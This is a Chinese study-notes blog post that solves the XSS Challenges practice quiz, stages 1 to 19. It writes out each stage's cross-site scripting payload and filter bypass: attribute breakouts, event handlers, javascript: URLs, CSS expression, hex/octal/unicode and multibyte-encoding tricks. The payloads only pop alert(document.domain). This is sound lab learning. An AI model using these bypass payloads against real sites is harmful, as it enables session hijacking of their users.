开门见山


Stage #1

http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9

这一道题发现我们写入的内容直接没有任何过滤,嵌套在一个<b>标签里面,我们常规闭合标签新建标签即可。

<b><script>alert(document.domain)</script></b>


Stage #2

http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1

这一题的注入点是在一个input标签的value属性那里,我们前后闭合input标签然后在中间加上script就好了。

"><script>alert(document.domain)</script><"


Stage #3

http://xss-quiz.int21h.jp/stage-3.php?sid=9b217ccdc6e28f1a018d6df366553a6152bc65f5

尝试输入查看源码发现<>和”被转义了,于是抓包在country的位置插入xss

p1=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22&p2=<script>alert(document.domain)</script>

Forward发包到原网页,


Stage #4

http://xss-quiz.int21h.jp/stage_4.php?sid=293c09bc53b81045a43ac5a79ac535daacbeae87

这里依然是先抓包,发现有个hackme....

需要闭合前后的双引号

构造响应的参数,直接提交,发现直接就过了。


Stage #5

http://xss-quiz.int21h.jp/stage--5.php?sid=40b33710efa4a848d21b5a6dd47671e82c31d853

与Stage#2几乎一样,也是value参数,唯一的不同点是在前端限制了输入的长度,我们直接用bp抓包提交就好了。

需要构造一下,把前后的双引号匹配一下


Stage #6

http://xss-quiz.int21h.jp/stage-no6.php?sid=4149b9ce4901a7795800c04b44a11e2e62bbdbc6

发现应该是对>标签进行了过滤,并且根据提示event handler attributes(事件处理程序属性 ),提示我们要用事件属性来处理了,下面构造

" onmouseover="alert(document.domain)


Stage #7

http://xss-quiz.int21h.jp/stage07.php?sid=6fbeba7fd57ce51cf3bb463c8cae1da350722b2e

 

发现将"也过滤掉了
那就需要对"进行绕过了,我们可以采用空格分割属性,不使用",从而绕过"。

test onmouseover=alert(document.domain)


Stage #8

http://xss-quiz.int21h.jp/stage008.php?sid=b3d0fe99bca156329272fa022f49c556e0a30d80

本关就是考查 javascript:伪协议在a标签的使用了

PAYLAOD:

javascript:alert(document.domain)


Stage #9

http://xss-quiz.int21h.jp/stage_09.php?sid=bfc62e9b3c0b7b72200bb942d69fb5e3076e6098

大佬WP:

1. 用可以识别UTF-7的IE浏览器

2. 把抓包内容改成p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7

意思是我们提交UTF-7编码的py上去,然后浏览器UTF-7解码出利用py~~(我觉得出题者简直闲的蛋疼,不说现在没有利用utf-7的ie了,哪有什么网页的后台是只能解码utf-7的)


Stage #10

http://xss-quiz.int21h.jp/stage00010.php?sid=ebbdd5208bce92c3c26c5da4e79c3a0086f16d5e

 

 

通过提示查看应该是对domain进行了过滤

所以我们要想办法绕过domain的过滤因此采用

"><script>alert(document.domdomainain)</script>

因为客户端会自动过滤掉domain,这dom(domain)ain变为domain

也可以

" onmouseover="alert(document.domain)


Stage #11

http://xss-quiz.int21h.jp/stage11th.php?sid=2ea843cedd78f5b9dfd684cc00be42481f72449c

 

发现对关键字进行了不少过滤

所以只能想办法不利用这些串绕过,尝试构造

1. "><a href=javascri pt:alert(document.domain)>test</a> // tab制表符html十进制编码

冒号也被过滤。

2.  "><a href=javascri pt:alert(document.domain)>test</a> // 是html5的换行符,:是冒号


Stage #12

http://xss-quiz.int21h.jp/stage_no012.php?sid=b6b9666eca49506330251b9c3e9b0603081e7cae

 

发现也进行了过滤
把\x00-\x20的字符与及<,>,",'都替换为空,那也只能寻求绕过的方法了,经发现这个``符号会在ie8中解析为引号,所以利用它便可成功绕过,但只能在ie中

payload:

``onmousemove=alert(document.domain)


Stage #13

http://xss-quiz.int21h.jp/stage13_0.php?sid=9eb9941d92e5506584eb05f5f9ce3d39dfec842f

 

本关提示style attribute,也就是style的属性问题。
发现双引号被过滤了,那么就只能是style的payload了。

 

xss:expression(onmousemove=function(){alert(document.domain)})

(为什么这么写,说CSS样式的定义应该写进函数里,不然会报错)
background-color:#f00;background:url("javascript:alert(document.domain);"); 这种方式没有成功

xss:expr/XSS/ession(alert(document.domain));

background-color:#f00;background:url("javascript:alert(document.domain);");

这两种应该只能在ie下,然而我并未成功,可能ie版本过高


Stage #14

http://xss-quiz.int21h.jp/stage-_-14.php?sid=0ccb3bac891178e3bd1966b5624529302f5efcf0

aa:expression(οnmοuseοver=function(){alert(document.domain)})

有4种能绕过正则过滤:

(1)e -> \0065

aa:\0065xpression(οnmοuseοver=function(){alert(document.domain)})   ERROR

(2)加入\隔断

aa:e\xpression(οnmοuseοver=function(){alert(document.domain)})         ERROR

(3)加入\0隔断

aa:e\0xpression(οnmοuseοver=function(){alert(document.domain)})       OK

(4)加入\**\隔断

aa:e\**\xpression(οnmοuseοver=function(){alert(document.domain)})    ERROR

补充,有一天看到了别人的答案,吓了一跳。。

xss:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));

莫非第四点错了?

改成

(4)加入/**/断

aa:e/**/xpression(οnmοuseοver=function(){alert(document.domain)})    OK


Stage #15

http://xss-quiz.int21h.jp/stage__15.php?sid=f530a129f54ea7c80420c9c8cd5ea68f3ea139c6

 

这一关考的是dom xss
这个是document.write()
实验可知道这个会过滤掉<>
由于ducument.write写的时候,
script自解码机制
HTML:进制编码:&#xH;(十六进制格式)、&#D;(十进制格式),最后的分号(;)可以不要。
HTML实体编码:即上面的那个HtmlEncode。<> <,>
onclick里的这段JavaScript出现在HTML标签内,意味着这里的JavaScript可以进行HTML形式的编码

如果用户输入出现在<script>里的JavaScript中用户输入的这段内容上下文环境是JavaScript,不是HTML(可以认为<script>标签里的内容和HTML环境毫无关系),此时用户输入的这段内容要遵守的是JavaScript法则,即JavaScript编码,具体有如下几种形式。

Unicode形式:\uH(十六进制)。
普通十六进制:\xH。
纯转义:'、"、<、>这样在特殊字符之前加\进行转义。
在JavaScript执行之前,这样的编码会自动解码

既然这个地方会过滤掉<>,就可以先按照JS编码

源码:<script>alert(document.domain)</script>

因为是在js范畴,document.write在输出的时候会JavascriptDecode一下数据,

16进制编码:
< 变成了 \x3c 
> 变成了 \x3e

会把数据原有\去除,即php里面的stripslashes
所以我们最终的payload应该是这样的。

\x3cscript\x3ealert(document.domain)\x3c/script\x3e

过滤了单个\

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e OK


Stage #16

http://xss-quiz.int21h.jp/stage00000016.php?sid=4ba92c2b20cd3b70e153bf21a63f21391fe8d589

提示内容;把\x 替换成了\\x,就是过滤掉了\x,但是js编码又不止16进制,还有八进制,unicode编码
用unicode编码尝试

\u003cscript\u003ealert(document.domain);\u003c/script\u003e

过滤了单反斜杠\

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

用八进制编码,同样可以

\74img src=x onerror=alert(document.domain)\76

这是别人总结的能引起Dom XSS的入口函数:
document.write()
document.writeln()
document.body.innerHtml
eval()
window.execScript()
window.setInterval()
window.setTimeout()


Stage #17

http://xss-quiz.int21h.jp/stage-No17.php?sid=ba90ec457c25fad90c2715a86fe3a07be846dc7f

思路类似于宽字节注入,利用特殊字节吃掉双引号
半角片假名使用两个字节来表示。

“第一位字节”使用0x8E
“第二位字节”使用0xA1-0xDF

JIS X 0208字元使用两个字节来表示。

“第一位字节”使用0xA1-0xFE
“第二位字节”使用0xA1-0xFE

JIS X 0212字元使用三个字节来表示。

“第一位字节”使用0x8F
“第二位字节”使用0xA1-0xFE
“第三位字节”使用0xA1-0xFE

目的是吃掉上面和下面一个双引号,然后使他们闭合,抓包修改p1,p2

p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

%A7,是随意的,只要是符合上面说的第一个字节范围即可。。

但是版本问题,没法显示。。

上面的%A7,是要抓包,修改的,而不是在请求的时候修改,记得把length修改对。

上面的%A7,是随意的,只要是符合上面说的第一个字节范围即可。。


Stage #18

http://xss-quiz.int21h.jp/stage__No18.php?sid=b23d6719a639f5655a2966a2f5ade6ec86841851

 

将每个字符的二进制最高位置为1,然后再转为16进制

比如说:

< 的16进制是3C,2进制是0011 1011,最高位置为1之后,变成1011 1011 ,也就是BC

> 同理变成BE

“ 同理变成A2

所以:

"><script>alert(document.domain)</scirpt>

就变成:

%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

Ps:这里我的高版本IE又一次失败了,应该要低版本的IE6


Stage #19

没有任何输入点,抓包没发现任何东西....hint 2014年九月24在推特上的DOMXSS?

最后界面

http://xss-quiz.int21h.jp/ranking.php?sid=a72fb1890dfd3eb2bdea19aaf7c520baea8fd4dc


XSS Challenges 完

XSS Challenges学习笔记 Stage#1~ Stage#19的更多相关文章

  1. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  2. 先知xss挑战赛学习笔记

    xss游戏 游戏地址:http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/ LEMON参考wp地址 1. 文件上传 源码如下 <?php ...

  3. Web 在线文件管理器学习笔记与总结(19)上传文件

    dir.func.php 中添加方法: /* 上传文件 */ function uploadFile($fileInfo,$path,$allowExt = array('jpg','jpeg','p ...

  4. linux常用的压缩与解压缩命令 分类: 学习笔记 linux ubuntu 2015-07-05 19:38 38人阅读 评论(0) 收藏

    1.gzip 压缩 gzip 是压缩文件,压缩之后文件后缀为.gz 用法:gzip 选项 [文件] 2.gunzip 解压 这个命令与gzip的功能刚好相反,这个是解压. 用法 gunzip 选项 [ ...

  5. 再起航,我的学习笔记之JavaScript设计模式19(状态模式)

    状态模式 概念介绍 状态模式(State):当一个对象的内部状态发生改变时,会导致其行为的改变,这看起来像是改变了对象 示例演示 在我们写项目的过程中或多或少会遇到如下的多分支判断 function ...

  6. 《深入Java虚拟机学习笔记》- 第19章 方法的调用与返回

    <深入Java虚拟机学习笔记>- 第19章 方法的调用与返回

  7. Ext.Net学习笔记19:Ext.Net FormPanel 简单用法

    Ext.Net学习笔记19:Ext.Net FormPanel 简单用法 FormPanel是一个常用的控件,Ext.Net中的FormPanel控件同样具有非常丰富的功能,在接下来的笔记中我们将一起 ...

  8. SQL反模式学习笔记19 使用*号,隐式的列

    目标:减少输入 反模式:捷径会让你迷失方向 使用通配符和未命名的列能够达到减少输入的目的,但是这个习惯会带来一些危害. 1.破坏代码重构:增加一列后,使用隐式的Insert插入语句报错: 2.查询中使 ...

  9. golang学习笔记19 用Golang实现以太坊代币转账

    golang学习笔记19 用Golang实现以太坊代币转账 在以太坊区块链中,我们称代币为Token,是以太坊区块链中每个人都可以任意发行的数字资产.并且它必须是遵循erc20标准的,至于erc20标 ...

随机推荐

  1. Django框架之中间件MiddleWare

    Django中的中间件是一个轻量级.底层的插件系统,可以介入Django的请求和响应处理过程,修改Django的输入或输出.中间件的设计为开发者提供了一种无侵入式的开发方式,增强了Django框架的健 ...

  2. windows下PostgreSQL 安装与配置

    下载地址 https://www.postgresql.org/download/ Download the installer certified by EnterpriseDB for all s ...

  3. 全网最详细的Ceph14.2.5集群部署及配置文件详解,快来看看吧! -- <2>

    部署Ceph集群 Ceph版本选择 Ceph版本来源介绍 Ceph 社区最新版本是 14,而 Ceph 12 是市面用的最广的稳定版本. 第一个 Ceph 版本是 0.1 ,要回溯到 2008 年 1 ...

  4. selenium自动化之xpath定位*必会技能*

    相信写过ui自动化,对xpath定位感觉会特别亲戚,那么下面给大家分享些我们常常在写脚本时易忽略的一些小细节和技巧.首先使用xpath定位时切忌 不要使用带有空格的属性 不要使用自动生成的id.cla ...

  5. 洛谷P1462 通往奥格瑞玛的道路 题解 最短路+二分答案

    题目链接:https://www.luogu.com.cn/problem/P1462 题目大意: 有 \(n\) 个点 \(m\) 条边,每个点有一个点权,每个边有一个边权.求所有长度不超过 \(b ...

  6. Java并发-Java内存模型(JMM)

    先来说说什么是内存模型吧 在硬件中,由于CPU的速度高于内存,所以对于数据读写来说会出现瓶颈,无法充分利用CPU的速度,因此在二者之间加入了一个缓冲设备,高速缓冲寄存器,通过它来实现内存与CPU的数据 ...

  7. 越来越清晰的TFRecord处理图片的步骤

    # 首先是模块的导入 """ os模块是处理文件夹用的 PIL模块是用来处理图片的 """ import tensorflow as tf ...

  8. Mysql中使用mysqldump进行导入导出sql文件

    纪念工作中的第一次删库跑路的经历 今天接到一个任务,是将一个测试库数据导到另一个测试库,然而我们公司的数据库是不让直连的,所以只能通过远程连接进行导库操作. 老大布置任务的时候让用dump命令进行操作 ...

  9. (1)解锁 MongoDB replica set核心姿势

    副本集Replica Set是一个术语,定义具有多节点的数据库集群,这些节点具有主从复制(master-slave replication) 且节点之间实现了自动故障转移. 这样的结构通常需要具有奇数 ...

  10. 【一起学源码-微服务】Hystrix 源码二:Hystrix核心流程:Hystix非降级逻辑流程梳理

    说明 原创不易,如若转载 请标明来源! 欢迎关注本人微信公众号:壹枝花算不算浪漫 更多内容也可查看本人博客:一枝花算不算浪漫 前言 前情回顾 上一讲我们讲了配置了feign.hystrix.enabl ...